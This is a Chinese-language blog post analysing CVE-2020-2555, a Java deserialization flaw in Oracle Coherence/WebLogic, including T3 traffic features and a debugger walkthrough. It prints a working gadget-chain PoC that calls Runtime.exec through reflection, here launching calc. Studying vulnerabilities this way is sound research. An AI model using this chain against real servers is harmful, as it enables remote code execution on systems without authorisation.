在对Java Web应用程序进行研究时,不安全的反序列化漏洞已经成为了攻击者或研究人员的常见目标了。这些漏洞将导致他人在目标设备上可靠地实现远程代码执行,而且这类漏洞通常很难修复。
2020年3月6日Weblogic公开了该漏洞,这是一个严重漏洞,CVSS评分为9.8,该漏洞将影响Oracle Coherence库,而这个库在Oracle WebLogic Server等流行产品中都有广泛使用。
此次受影响版本:
- Oracle Coherence 3.7.1.17
- Oracle Coherence 12.1.3.0.0
- Oracle Coherence 12.2.1.3.0.0
- Oracle Coherence 12.2.1.4.0.0
本文目标
1、学习T3协议、Java反序列化在网络传输时流量特征;
2、理解漏洞形成的原因Gadget,学习poc构造技巧;
3、为下一步利用该洞做回显准备。
调试分析
POC:https://github.com/Y4er/CVE-2020-2555
JDK:1.8.131
IDEA:2019.3.3
Weblogic:12.2.1.3.0.0
运行weblogic_t3.py通过t3协议发送序列化的payload
POC去除无关行后约30行,如下:
String cmd = "calc";
//定义多次转换链进行反射调用
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{
"getRuntime", new Class[0]
}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
//初始化LimitFiler类实例
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
//将limitFilter放入BadAttributeValueExpException的val属性中
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
//生成序列化payload
ObjectOutputStream objectOutputStream = new ObjectOutputStream(null);
objectOutputStream.writeObject(expException);
objectOutputStream.close();
1、关于T3协议部分
发包后,用wireshark抓包,发送的第一个包为T3协议头,T3协议头为t3 12.2.1 AS:255 HL:19”,第一行为"t3"加weblogic客户端的版本号。
Weblogic服务器的返回数据为"HELO:12.2.1.3.false AS:2048 HL:19",第一行为“HELO:”加Weblogic服务器的版本号。Weblogic客户端与服务器发送的数据均以“ ”结尾。
Weblogic_t3.py向Weblogic发送了T3协议头的数据包,然后读取序列化数据进行发送。
在数据中查找JAVA序列化魔术头部ac ed 00 05 可以发现出现多处,观察到T3协议使用jre的原生ObjectOutputStream。
exp被切割为多段传输,以fe 01 00 00 隔开。
2、T3协议反序列化执行
将断点设在T3入口,InboundMsgAbbrev#readObject( );
第47行ServerChannelInputStream(其父类为ObjectInputStream)的构造方法,将MsgAbbrevInputStream的in实例转为ObjectInputStream类型。
上图第47行末尾是关键,调用ObjectInputStream#readObject( ),来到80行,super(in)将执行Object类初始化。
至此,成功进入jre原生反序列化ObjectInputStream.readObject( )。接下来将进入BadAttributeValueExpException#readObject( ),(恶意变量被取出,结合POC第25行理解)。在ysoserial的CommonsCollections5的gadget最外层的入口即为该类,因为security manager为null的情况下(下图第78行)将进入if分支,调用LimitFilter #tostring( )。
3、coherence.jar反序列化执行
恶意数据传入weblogic代码部分,
coherence.jar!com/tangosol/util/filter/LimitFilter类。
注意力集中
coherence.jar!com/tangosol/util/filter/LimitFilter #tostring。
那么接下来将获取到该类的m_comparator成员属性(恶意变量被取出,结合POC第17行理解),并调用其extract函数,因为limitfilter实例由我们poc中提供,因此this.m_oAnchorTop可控(恶意变量被取出,结合POC第20行理解)。
chained从字面意思上来理解就是其肯定存在一个为数组类型的成员属性保存一组Extractor来依次调用其extract函数,并将调用结果返回(注意理解第34行oTarget迭代)。
那么在poc中chainedExtractor中存放的为coherence.jar中的com/tangosol/util/extractor/ReflectionExtractor类的实例,其extract函数中也正是实现了任意方法的调用,注意到59行传入2个参数(第一个参数是方法属于的对象,第二个可变参数是该方法的参数),其中方法名this.m_sMethod和对应的参数值this.m_aoParam都是可控的(恶意变量被取出,结合POC第4-8行理解)。
invoke表示,调用包装在当前Method对象中的方法。
第一回,反射调用Runtime类getmethod方法(结合POC第20行理解),返回值为 Method类型的getruntime方法(见上图第59行)
第二回,我们希望反射调用invoke函数,getruntime方法已准备好,故可执行invoke得到Runtime类的实例,这就是为什么构造this.m_sMethod=invoke(即为poc第7行invoke)。
第三回,经过前面2次积累,有了Runtime实例,因此可调用exec方法执行命令。构造this.m_sMethod=exec(即为poc第8行exec),实验结束。
4、chainedExtractor链式调用反射
(1)补充oTarget的3次变化(class->method->instance)
(2)补充method变量的3次变化(class->method->instance)
相关借阅
1、Y4er/CVE-2020-2555:https://github.com/Y4er/CVE-2020-2555
2、Java Method类:http://www.51gjie.com/java/796.html
3、反序列化漏洞分析(CVE-2020-2555):https://lucifaer.com/
今天的文章分享,小伙伴们看懂了吗?